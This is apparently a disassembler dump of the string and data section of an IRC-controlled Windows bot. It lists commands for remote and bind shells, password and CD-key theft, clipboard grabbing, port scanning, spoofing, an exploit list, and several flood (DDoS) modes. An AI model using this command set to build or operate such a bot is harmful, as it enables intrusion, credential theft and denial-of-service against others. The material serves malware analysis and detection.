XREF: sub_401ACD+28C7o db 3, 34h, 2 db 6Ch ; l db 6Fh, 67h, 2 db 3 aFailedToSta_23 db '- Failed to start listing thread, error: <%d>.',0 dword_42BA9C dd 234032Dh, 2676F6Ch, 4C202D03h, 69747369h, 6C20676Eh ; DATA XREF: sub_401ACD+2858o dd 2E676Fh dword_42BAB4 dd 234032Dh, 6E69616Dh, 202D0302h, 7774654Eh, 206B726Fh ; DATA XREF: sub_401ACD+27B3o dd 6F666E49h, 2Eh dword_42BAD0 dd 234032Dh, 6E69616Dh, 202D0302h, 74737953h, 49206D65h ; DATA XREF: sub_401ACD+2784o dd 2E6F666Eh, 0 dword_42BAEC dd 234032Dh, 6E69616Dh, 202D0302h, 6F6D6552h, 676E6976h ; DATA XREF: sub_401ACD+272Fo dd 746F4220h, 2Eh unk_42BB08 db 2Dh ; - ; DATA XREF: sub_401ACD+2713o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aFailedToSta_24 db ' Failed to start listing thread, error: <%d>.',0 align 4 dword_42BB44 dd 234032Dh, 636F7270h, 2D030273h, 6F725020h, 73656363h ; DATA XREF: sub_401ACD+269Eo dd 696C2073h, 2E7473h aFull db 'full',0 ; DATA XREF: sub_401ACD+267Eo align 4 unk_42BB68 db 2Dh ; - ; DATA XREF: sub_401ACD+261Co db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aAlreadyRunni_3 db ' Already running.',0 align 4 dword_42BB88 dd 234032Dh, 656B6463h, 3027379h ; DATA XREF: sub_401ACD+25F9o aSearchComplete db '- Search completed.',0 dword_42BBA8 dd 234032Dh, 6E69616Dh, 202D0302h, 69747055h, 203A656Dh ; DATA XREF: sub_401ACD+25ADo dd 2E7325h unk_42BBC0 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403FEAo db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aRemoteShellRea db '- Remote shell ready.',0 align 10h unk_42BBE0 db 2Dh ; - ; DATA XREF: sub_401ACD+2513o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aCouldnTOpenRem db '- Couldn',27h,'t open remote shell.',0 align 4 unk_42BC08 db 2Dh ; - ; DATA XREF: sub_401ACD+24F4o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aRemoteShellAlr db '- Remote shell already running.',0 align 4 dword_42BC34 dd 234032Dh, 6E69616Dh, 202D0302h, 20746547h, 70696C43h ; DATA XREF: sub_401ACD+24DEo dd 72616F62h, 2E64h dword_42BC50 dd 234032Dh, 70696C63h, 72616F62h, 61642064h, 3026174h ; DATA XREF: sub_401ACD+24B0o dd 2Dh unk_42BC68 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403F6Do db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aFailedToFlushA db 'Failed to flush ARP cache.',0 align 4 unk_42BC94 db 2Dh ; - ; DATA XREF: sub_401ACD+2499o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aArpCacheFlushe db 'ARP cache flushed.',0 align 4 unk_42BCB8 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403F42o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aFailedToLoadDn db 'Failed to load dnsapi.dll.',0 align 4 unk_42BCE4 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403F3Bo db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aFailedToFlushD db 'Failed to flush DNS cache.',0 align 10h unk_42BD10 db 2Dh ; - ; DATA XREF: sub_401ACD+2467o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aDnsCacheFlushe db 'DNS cache flushed.',0 align 4 unk_42BD34 db 2Dh ; - ; DATA XREF: sub_401ACD+2414o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToSta_25 db '- Failed to start server thread, error: <%d>.',0 align 10h unk_42BD70 db 2Dh ; - ; DATA XREF: sub_401ACD+23A5o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aServerListenin db '- Server listening on IP: %s:%d, Username: %s.',0 unk_42BDAC db 2Dh ; - ; DATA XREF: sub_401ACD+22BFo db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_26 db ' Failed to start server thread, error: <%d>.',0 align 4 unk_42BDE8 db 2Dh ; - ; DATA XREF: sub_401ACD+2254o ; sub_40BACD+449o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aServerListen_0 db ' Server listening on IP: %s:%d, Directory: %s\.',0 unk_42BE24 db 2Dh ; - ; DATA XREF: sub_401ACD+214Do db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_27 db ' Failed to start server thread, error: <%d>.',0 align 10h unk_42BE60 db 2Dh ; - ; DATA XREF: sub_401ACD+20DEo ; sub_40BACD+DAo db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aServerStarte_1 db ' Server started on Port: %d, File: %s.',0 align 4 unk_42BE94 db 2Dh ; - ; DATA XREF: sub_401ACD+2029o db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aAlreadyRunni_4 db ' Already running.',0 align 4 unk_42BEB4 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403AE0o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aFailedToSta_28 db '- Failed to start scan, port is invalid.',0 align 4 unk_42BEEC db 2Dh ; - ; DATA XREF: sub_401ACD+1FC3o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aFailedToSta_29 db '- Failed to start scan thread, error: <%d>.',0 align 4 unk_42BF28 db 2Dh ; - ; DATA XREF: sub_401ACD+1F52o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aSPortScanSta_0 db '- %s Port Scan started on %s:%d with a delay of %d seconds for %d' db ' minutes using %d threads.',0 align 4 aSequential db 'Sequential',0 ; DATA XREF: sub_401ACD+1F27o ; sub_401ACD+5BEEo align 10h aRandom db 'Random',0 ; DATA XREF: sub_401ACD+1F20o ; sub_401ACD+5BE7o align 4 unk_42BFA8 db 2Dh ; - ; DATA XREF: sub_401ACD+1D6Do db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aAlreadyDScan_0 db '- Already %d scanning threads. Too many specified.',0 unk_42BFE8 db 2Dh ; - ; DATA XREF: sub_401ACD+1D0Fo db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aFailedToSta_30 db 'Failed to start search thread, error: <%d>.',0 unk_42C024 db 2Dh ; - ; DATA XREF: sub_401ACD+1C95o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aSearchingForPa db 'Searching for password.',0 aFp db 'fp',0 ; DATA XREF: sub_401ACD+1C4Co align 10h aFindpass db 'findpass',0 ; DATA XREF: sub_401ACD+1C3Bo align 4 aNoticeSPhoning db 'NOTICE %s :PHONING HOME: hi ;).',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1C28o align 10h aPhonehome db 'phonehome',0 ; DATA XREF: sub_401ACD+1C11o align 4 aSa db 'sa',0 ; DATA XREF: sub_401ACD+1BFCo align 10h aScanall db 'scanall',0 ; DATA XREF: sub_401ACD+1BE7o dword_42C098 dd 234032Dh, 6E69616Dh, 202D0302h, 73617243h, 676E6968h ; DATA XREF: sub_401ACD+1B97o dd 746F6220h, 2Eh aCrash db 'crash',0 ; DATA XREF: sub_401ACD+1B81o ; sub_401ACD+1BD1o align 4 aTftp db 'tftp',0 ; DATA XREF: sub_401ACD+1B6Co align 4 aTftpserver db 'tftpserver',0 ; DATA XREF: sub_401ACD+1B57o align 10h aHttp db 'http',0 ; DATA XREF: sub_401ACD+1B42o align 4 aHttpserver db 'httpserver',0 ; DATA XREF: sub_401ACD+1B2Do align 4 aRlogin db 'rlogin',0 ; DATA XREF: sub_401ACD+1B18o align 4 aRloginserver db 'rloginserver',0 ; DATA XREF: sub_401ACD+1B03o align 4 aCip db 'cip',0 ; DATA XREF: sub_401ACD+1AEEo aCurrentip db 'currentip',0 ; DATA XREF: sub_401ACD+1AD9o align 4 aFdns db 'fdns',0 ; DATA XREF: sub_401ACD+1AC4o align 4 aFlushdns db 'flushdns',0 ; DATA XREF: sub_401ACD+1AAFo align 10h aFarp db 'farp',0 ; DATA XREF: sub_401ACD+1A9Ao align 4 aFlusharp db 'flusharp',0 ; DATA XREF: sub_401ACD+1A85o align 4 aGc db 'gc',0 ; DATA XREF: sub_401ACD+1A70o align 4 aGetclip db 'getclip',0 ; DATA XREF: sub_401ACD+1A5Bo unk_42C140 db 2Dh ; - ; DATA XREF: sub_401ACD+1A1Do db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSpoofingDisabl db ' Spoofing disabled.',0 aOff db 'off',0 ; DATA XREF: sub_401ACD+1A02o ; sub_401ACD+3CAFo ... aSpoof db 'spoof',0 ; DATA XREF: sub_401ACD+19EBo align 4 unk_42C174 db 2Dh ; - ; DATA XREF: sub_401ACD+19CDo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aLoginListCompl db 'Login list complete.',0 align 4 aD_S db '%d. %s',0 ; DATA XREF: sub_401ACD+1995o align 10h aEmpty db '<Empty>',0 ; DATA XREF: sub_401ACD:loc_403453o dword_42C1A8 dd 234032Dh, 69676F6Ch, 696C206Eh, 3027473h, 2Dh ; DATA XREF: sub_401ACD+195Bo dword_42C1BC dd 6F6877h ; DATA XREF: sub_401ACD+193Eo dword_42C1C0 dd 234032Dh, 2646D63h, 2D03h ; DATA XREF: sub_401ACD+1933o dword_42C1CC dd 6F6D6552h, 73206574h, 6C6C6568h, 0 ; DATA XREF: sub_401ACD+192Eo aCmdstop db 'cmdstop',0 ; DATA XREF: sub_401ACD+1915o aOcmd db 'ocmd',0 ; DATA XREF: sub_401ACD+1900o align 4 aOpencmd db 'opencmd',0 ; DATA XREF: sub_401ACD+18EBo aDll db 'dll',0 ; DATA XREF: sub_401ACD+18D6o aTestdlls db 'testdlls',0 ; DATA XREF: sub_401ACD+18C1o align 4 aDrv db 'drv',0 ; DATA XREF: sub_401ACD+18ACo aDriveinfo db 'driveinfo',0 ; DATA XREF: sub_401ACD+1897o align 4 aUp db 'up',0 ; DATA XREF: sub_401ACD+1882o align 4 aUptime db 'uptime',0 ; DATA XREF: sub_401ACD+186Do align 10h aKey db 'key',0 ; DATA XREF: sub_401ACD+1858o aGetcdkeys db 'getcdkeys',0 ; DATA XREF: sub_401ACD+1843o align 10h aPs db 'ps',0 ; DATA XREF: sub_401ACD+182Eo align 4 aProcs db 'procs',0 ; DATA XREF: sub_401ACD+1819o align 4 aLsp100 db 'lsp100',0 ; DATA XREF: sub_401ACD+17EFo ; sub_401ACD+1804o align 4 aSi db 'si',0 ; DATA XREF: sub_401ACD+17DAo align 4 aSysinfo db 'sysinfo',0 ; DATA XREF: sub_401ACD+17C5o aNi db 'ni',0 ; DATA XREF: sub_401ACD+17B0o align 4 aNetinfo db 'netinfo',0 ; DATA XREF: sub_401ACD+179Bo aClg db 'clg',0 ; DATA XREF: sub_401ACD+1786o aClearlog db 'clearlog',0 ; DATA XREF: sub_401ACD+1771o align 4 aLg db 'lg',0 ; DATA XREF: sub_401ACD+175Co align 10h aLog db 'log',0 ; DATA XREF: sub_401ACD+1747o aAl db 'al',0 ; DATA XREF: sub_401ACD+1732o align 4 aAliases db 'aliases',0 ; DATA XREF: sub_401ACD+171Do aT: ; DATA XREF: sub_401ACD+1708o ; ___:00437F8Co unicode 0, <t>,0 aThreads db 'threads',0 ; DATA XREF: sub_401ACD+16F3o unk_42C28C db 2Dh ; - ; DATA XREF: sub_401ACD+16BFo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aFailedToReboot db 'Failed to reboot system.',0 align 4 unk_42C2B4 db 2Dh ; - ; DATA XREF: sub_401ACD+16B8o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aRebootingSyste db 'Rebooting system.',0 align 4 aReboot db 'reboot',0 ; DATA XREF: sub_401ACD+16A1o align 4 aI: ; DATA XREF: sub_401ACD+168Co ; ___:00437F60o unicode 0, <i>,0 aId db 'id',0 ; DATA XREF: sub_401ACD+1677o align 4 aS_0: ; DATA XREF: sub_401ACD+1662o ; ___:00437FDCo unicode 0, <s>,0 aStatus db 'status',0 ; DATA XREF: sub_401ACD+164Do align 10h aQ: ; DATA XREF: sub_401ACD+1638o ; ___:off_437BF8o ... unicode 0, <q>,0 aQuit_0 db 'quit',0 ; DATA XREF: sub_401ACD+1623o align 4 aDc db 'dc',0 ; DATA XREF: sub_401ACD+160Eo align 10h aDisconnect db 'disconnect',0 ; DATA XREF: sub_401ACD+15F9o align 4 aR: ; DATA XREF: sub_401ACD+15E4o ; sub_401ACD+3DA8o ... unicode 0, <r>,0 aReconnect db 'reconnect',0 ; DATA XREF: sub_401ACD+15CFo align 4 aExplist db 'explist',0 ; DATA XREF: sub_401ACD+15BAo aExploitlist db 'exploitlist',0 ; DATA XREF: sub_401ACD+15A5o aCbstats db 'cbstats',0 ; DATA XREF: sub_401ACD+1590o aConnectbacksta db 'connectbackstats',0 ; DATA XREF: sub_401ACD+157Bo align 4 aTrstats db 'trstats',0 ; DATA XREF: sub_401ACD+1566o aTransferstats db 'transferstats',0 ; DATA XREF: sub_401ACD+1551o align 4 aStats db 'stats',0 ; DATA XREF: sub_401ACD+153Co align 4 aScanstats db 'scanstats',0 ; DATA XREF: sub_401ACD+1527o align 4 dword_42C378 dd 234032Dh, 6E616373h, 2D0302h ; DATA XREF: sub_401ACD+151Co aScan_0 db 'Scan',0 ; DATA XREF: sub_401ACD+1517o align 4 aScanstop db 'scanstop',0 ; DATA XREF: sub_401ACD+14FEo align 4 dword_42C398 dd 234032Dh, 75636573h, 3026572h, 2Dh ; DATA XREF: sub_401ACD+14F3o aSecure_0 db 'Secure',0 ; DATA XREF: sub_401ACD+14EEo align 10h aSecurestop db 'securestop',0 ; DATA XREF: sub_401ACD+14D5o align 4 dword_42C3BC dd 234032Dh, 6E6F6C63h, 3027365h, 2Dh ; DATA XREF: sub_401ACD+14CAo aClone db 'Clone',0 ; DATA XREF: sub_401ACD+14C5o align 4 aClonestop db 'clonestop',0 ; DATA XREF: sub_401ACD+14ACo align 10h aPsstop db 'psstop',0 ; DATA XREF: sub_401ACD+1497o align 4 aProcsstop db 'procsstop',0 ; DATA XREF: sub_401ACD+1482o align 4 aFfstop db 'ffstop',0 ; DATA XREF: sub_401ACD+146Do align 4 aFindfilestop db 'findfilestop',0 ; DATA XREF: sub_401ACD+1458o align 4 dword_42C40C dd 234032Dh, 70746674h, 2D030264h, 0 ; DATA XREF: sub_401ACD+144Do aTftpstop db 'tftpstop',0 ; DATA XREF: sub_401ACD+142Fo align 4 aPingstop db 'pingstop',0 ; DATA XREF: sub_401ACD+1406o align 4 aUdpstop db 'udpstop',0 ; DATA XREF: sub_401ACD+13DDo aWisdomstop db 'wisdomstop',0 ; DATA XREF: sub_401ACD+13B4o align 4 aTsunamistop db 'tsunamistop',0 ; DATA XREF: sub_401ACD+138Bo unk_42C454 db 2Dh ; - ; DATA XREF: sub_401ACD+1371o db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aAllPacketingAc db 'All packeting activity has been halted.',0 dword_42C488 dd 234032Dh, 64736977h, 3026D6Fh, 2Dh ; DATA XREF: sub_401ACD+1336o ; sub_401ACD+13D2o dword_42C498 dd 64736957h, 61206D6Fh, 63617474h, 6Bh ; DATA XREF: sub_401ACD+1331o ; sub_401ACD+13CDo dword_42C4A8 dd 234032Dh, 6E757374h, 2696D61h, 2D03h ; DATA XREF: sub_401ACD+1318o ; sub_401ACD+13A9o dword_42C4B8 dd 6E757354h, 20696D61h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+1313o ; sub_401ACD+13A4o dword_42C4C8 dd 234032Dh, 676E6970h, 2D0302h ; DATA XREF: sub_401ACD+12B8o ; sub_401ACD+1424o dword_42C4D4 dd 676E6950h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+12B3o ; sub_401ACD+141Fo dword_42C4E0 dd 234032Dh, 2706475h, 2D03h ; DATA XREF: sub_401ACD+129Ao ; sub_401ACD+13FBo dword_42C4EC dd 20504455h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+1295o ; sub_401ACD+13F6o aPacketstop db 'packetstop',0 ; DATA XREF: sub_401ACD+1235o align 4 dword_42C504 dd 234032Dh, 6B6E6F77h, 2D0302h ; DATA XREF: sub_401ACD+122Ao ; sub_401ACD+12F7o dword_42C510 dd 6B6E6F57h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1225o ; sub_401ACD+12F2o aWonkstop db 'wonkstop',0 ; DATA XREF: sub_401ACD+120Co align 4 dword_42C528 dd 234032Dh, 67726174h, 3023361h, 2Dh ; DATA XREF: sub_401ACD+1201o ; sub_401ACD+12D9o dword_42C538 dd 67726154h, 66203361h, 646F6F6Ch, 0 ; DATA XREF: sub_401ACD+11FCo ; sub_401ACD+12D4o aTarga3stop db 'targa3stop',0 ; DATA XREF: sub_401ACD+11E3o align 4 dword_42C554 dd 234032Dh, 73796B73h, 3026E79h, 2Dh ; DATA XREF: sub_401ACD+11D8o ; sub_401ACD+1357o dword_42C564 dd 53796B53h, 66206E79h, 646F6F6Ch, 0 ; DATA XREF: sub_401ACD+11D3o ; sub_401ACD+1352o aSkysynstop db 'skysynstop',0 ; DATA XREF: sub_401ACD+11BAo align 10h dword_42C580 dd 234032Dh, 26E7973h, 2D03h ; DATA XREF: sub_401ACD+11AFo ; sub_401ACD+1279o dword_42C58C dd 206E7953h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+11AAo ; sub_401ACD+1274o aSynstop db 'synstop',0 ; DATA XREF: sub_401ACD+1191o dword_42C5A0 dd 234032Dh, 736F6464h, 2D0302h ; DATA XREF: sub_401ACD+1186o ; sub_401ACD+125Bo dword_42C5AC dd 536F4444h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1181o ; sub_401ACD+1256o dword_42C5B8 dd 736F6464h, 6F74732Eh, 70h ; DATA XREF: sub_401ACD+1168o dword_42C5C4 dd 234032Dh, 69646572h, 74636572h, 2D0302h ; DATA XREF: sub_401ACD+115Do dword_42C5D4 dd 20504354h, 69646572h, 74636572h, 0 ; DATA XREF: sub_401ACD+1158o aRedirectstop db 'redirectstop',0 ; DATA XREF: sub_401ACD+113Fo align 4 dword_42C5F4 dd 234032Dh, 2676F6Ch, 2D03h ; DATA XREF: sub_401ACD+1134o dword_42C600 dd 20676F4Ch, 7473696Ch, 0 ; DATA XREF: sub_401ACD+112Fo aLogstop db 'logstop',0 ; DATA XREF: sub_401ACD+1116o dword_42C614 dd 234032Dh, 70747468h, 2D030264h, 0 ; DATA XREF: sub_401ACD+110Bo aHttpstop db 'httpstop',0 ; DATA XREF: sub_401ACD+10EDo align 10h dword_42C630 dd 234032Dh, 676F6C72h, 2646E69h, 2D03h ; DATA XREF: sub_401ACD+10E2o aRloginstop db 'rloginstop',0 ; DATA XREF: sub_401ACD+10C4o align 4 dword_42C64C dd 234032Dh, 6B636F73h, 3023473h, 2Dh ; DATA XREF: sub_401ACD+10BCo aSocks4stop db 'socks4stop',0 ; DATA XREF: sub_401ACD+109Eo align 4 aS4 db 's4',0 ; DATA XREF: sub_401ACD+1089o align 4 aSocks4 db 'socks4',0 ; DATA XREF: sub_401ACD+1074o align 4 dword_42C674 dd 234032Dh, 646E6962h, 6C656873h, 2D03026Ch, 0 ; DATA XREF: sub_401ACD+1052o aServer_0 db 'Server',0 ; DATA XREF: sub_401ACD+104Do ; sub_401ACD+10B7o ... align 10h aBindshellstop db 'bindshellstop',0 ; DATA XREF: sub_401ACD+1034o align 10h aBd db 'bd',0 ; DATA XREF: sub_401ACD+101Fo align 4 aBindshell db 'bindshell',0 ; DATA XREF: sub_401ACD+100Ao align 10h aUnsec db 'unsec',0 ; DATA XREF: sub_401ACD+FF5o align 4 aUnsecure db 'unsecure',0 ; DATA XREF: sub_401ACD+FE0o align 4 aSec db 'sec',0 ; DATA XREF: sub_401ACD+FCBo ; sub_401ACD+2D69o aSecure db 'secure',0 ; DATA XREF: sub_401ACD+FB6o ; sub_401ACD+2D58o align 10h aSt db 'st',0 ; DATA XREF: sub_401ACD+FA1o align 4 aSpeedtest db 'speedtest',0 ; DATA XREF: sub_401ACD+F8Co align 10h aDed db 'ded',0 ; DATA XREF: sub_401ACD+F77o aDedication db 'dedication',0 ; DATA XREF: sub_401ACD+F62o align 10h aVer db 'ver',0 ; DATA XREF: sub_401ACD+F4Do aVersion db 'version',0 ; DATA XREF: sub_401ACD+F38o aLo db 'lo',0 ; DATA XREF: sub_401ACD+F23o align 10h aLogout db 'logout',0 ; DATA XREF: sub_401ACD+F0Eo align 4 aD: ; DATA XREF: sub_401ACD+EF9o ; ___:00437C24o ... unicode 0, <d>,0 aDie db 'die',0 ; DATA XREF: sub_401ACD+EE4o aRn db 'rn',0 ; DATA XREF: sub_401ACD+ECFo align 4 aRndnick db 'rndnick',0 ; DATA XREF: sub_401ACD+EB7o a63 db '63',0 ; DATA XREF: sub_401ACD+D84o align 10h asc_42C720: ; DATA XREF: sub_401ACD+D5Co unicode 0, <)>,0 aChr db '$chr(',0 ; DATA XREF: sub_401ACD+D1Fo align 4 aServer_1 db '$server',0 ; DATA XREF: sub_401ACD+D14o aRndnick_0 db '$rndnick',0 ; DATA XREF: sub_401ACD+D03o align 10h aChan db '$chan',0 ; DATA XREF: sub_401ACD+CE7o align 4 aUser_0 db '$user',0 ; DATA XREF: sub_401ACD+CD6o align 10h aMe db '$me',0 ; DATA XREF: sub_401ACD+CC4o aD_0 db '$%d',0 ; DATA XREF: sub_401ACD+C56o aD_1 db '$%d-',0 ; DATA XREF: sub_401ACD+B92o align 10h aK: ; DATA XREF: sub_401ACD+AA6o ; sub_401ACD+3DD2o ... unicode 0, <k>,0 unk_42C764 db 2Dh ; - ; DATA XREF: sub_401ACD+A80o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aChatFailedByUn db '- Chat failed by unauthorized user: %s.',0 align 4 unk_42C798 db 2Dh ; - ; DATA XREF: sub_401ACD+A6Fo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aChatAlreadyAct db '- Chat already active with user: %s.',0 align 4 unk_42C7C8 db 2Dh ; - ; DATA XREF: sub_401ACD+A5Eo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToSta_31 db '- Failed to start chat thread, error: <%d>.',0 align 10h unk_42C800 db 2Dh ; - ; DATA XREF: sub_401ACD+9EFo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aChatFromUserS_ db '- Chat from user: %s.',0 align 10h aChat db 'CHAT',0 ; DATA XREF: sub_401ACD+958o align 4 unk_42C828 db 2Dh ; - ; DATA XREF: sub_401ACD+938o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aReceiveFileSFa db '- Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0 align 4 unk_42C86C db 2Dh ; - ; DATA XREF: sub_401ACD+920o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToSta_32 db '- Failed to start transfer thread, error: <%d>.',0 align 4 dword_42C8A8 dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h ; DATA XREF: sub_401ACD+90Fo dd 0A0Dh dword_42C8C0 dd 4E495001h, 47h ; DATA XREF: sub_401ACD+8DBo dword_42C8C8 dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h ; DATA XREF: sub_401ACD+8D0o dd 0D017325h, 0Ah dword_42C8E4 dd 52455601h, 4E4F4953h, 1 ; DATA XREF: sub_401ACD+89Fo dword_42C8F0 dd 23h ; DATA XREF: sub_401ACD+816o ; sub_40CA7F+1Bo unk_42C8F4 db 2Dh ; - ; DATA XREF: sub_401ACD+785o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aReceiveFileSFr db '- Receive file: ',27h,'%s',27h,' from user: %s.',0 align 4 aS_1 db '%s',0 ; DATA XREF: sub_401ACD+706o ; sub_401ACD+995o ... align 4 aSend_0 db 'SEND',0 ; DATA XREF: sub_401ACD+6DFo align 10h dword_42C930 dd 43434401h, 0 ; DATA XREF: sub_401ACD+6C1o dword_42C938 dd 323333h ; DATA XREF: sub_401ACD+64Bo ; sub_401ACD+ADCo ... aNotice db 'NOTICE',0 ; DATA XREF: sub_401ACD+629o ; sub_409A72+Fo align 4 aPrivmsg db 'PRIVMSG',0 ; DATA XREF: sub_401ACD+61Do ; sub_409A72+16o unk_42C94C db 2Dh ; - ; DATA XREF: sub_401ACD+5CCo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aUserSLoggedOut db 'User: %s logged out.',0 align 10h unk_42C970 db 2Dh ; - ; DATA XREF: sub_401ACD+5A5o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aJoinedChanne_0 db 'Joined channel: %s.',0 a353 db '353',0 ; DATA XREF: sub_401ACD+574o aQuit db 'QUIT',0 ; DATA XREF: sub_401ACD+537o align 4 aPart db 'PART',0 ; DATA XREF: sub_401ACD+526o ; sub_401ACD+5E9o align 4 aSS db ':%s%s',0 ; DATA XREF: sub_401ACD+4FEo align 4 aNick db 'NICK',0 ; DATA XREF: sub_401ACD+3D0o align 4 aNoticeSS db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+371o ; sub_401ACD+60Do unk_42C9C4 db 2Dh ; - ; DATA XREF: sub_401ACD+355o ; sub_401ACD+2EBCo ... db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aUserSLoggedO_0 db 'User %s logged out.',0 aKick db 'KICK',0 ; DATA XREF: sub_401ACD+2E4o align 4 aNickS db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+28Do ; sub_401ACD+7C8Eo ... align 4 a433 db '433',0 ; DATA XREF: sub_401ACD+262o ; sub_4177CF:loc_417837o a@: ; DATA XREF: sub_401ACD+23Ao unicode 0, <@>,0 a302 db '302',0 ; DATA XREF: sub_401ACD+22Ao a005 db '005',0 ; DATA XREF: sub_401ACD+215o a001 db '001',0 ; DATA XREF: sub_401ACD+200o aJoinSS db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1E4o ; sub_401ACD+3B7o ... align 4 aPongS db 'PONG %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1C3o align 4 aPing db 'PING',0 ; DATA XREF: sub_401ACD+1A9o ; sub_4177CF+50o align 10h asc_42CA30: ; DATA XREF: sub_401ACD+19Ao ; sub_401ACD+7DADo unicode 0, <!>,0 asc_42CA34: ; DATA XREF: sub_401ACD+A8o ; sub_401ACD+E5Co ... unicode 0, < >,0 asc_42CA38 db ' :',0 ; DATA XREF: sub_401ACD+86o ; sub_401ACD:loc_402601o align 4 aSSS_0 db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_409A72+5Do aCapgetdriverde db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_409B12+C7Fo align 4 aCapcreatecaptu db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_409B12+C77o aAvicap32_dll db 'avicap32.dll',0 ; DATA XREF: sub_409B12:loc_40A77Co align 4 aSqldisconnect db 'SQLDisconnect',0 ; DATA XREF: sub_409B12+C15o align 4 aSqlfreehandle db 'SQLFreeHandle',0 ; DATA XREF: sub_409B12+C08o align 4 aSqlallochandle db 'SQLAllocHandle',0 ; DATA XREF: sub_409B12+BFBo align 4 aSqlexecdirect db 'SQLExecDirect',0 ; DATA XREF: sub_409B12+BEEo align 4 aSqlsetenvattr db 'SQLSetEnvAttr',0 ; DATA XREF: sub_409B12+BE1o align 4 aSqldriverconne db 'SQLDriverConnect',0 ; DATA XREF: sub_409B12+BD9o align 10h aOdbc32_dll db 'odbc32.dll',0 ; DATA XREF: sub_409B12:loc_40A6DEo align 4 aShchangenotify db 'SHChangeNotify',0 ; DATA XREF: sub_409B12+B97o align 4 aShellexecutea db 'ShellExecuteA',0 ; DATA XREF: sub_409B12+B8Fo align 4 aShell32_dll db 'shell32.dll',0 ; DATA XREF: sub_409B12:loc_40A694o 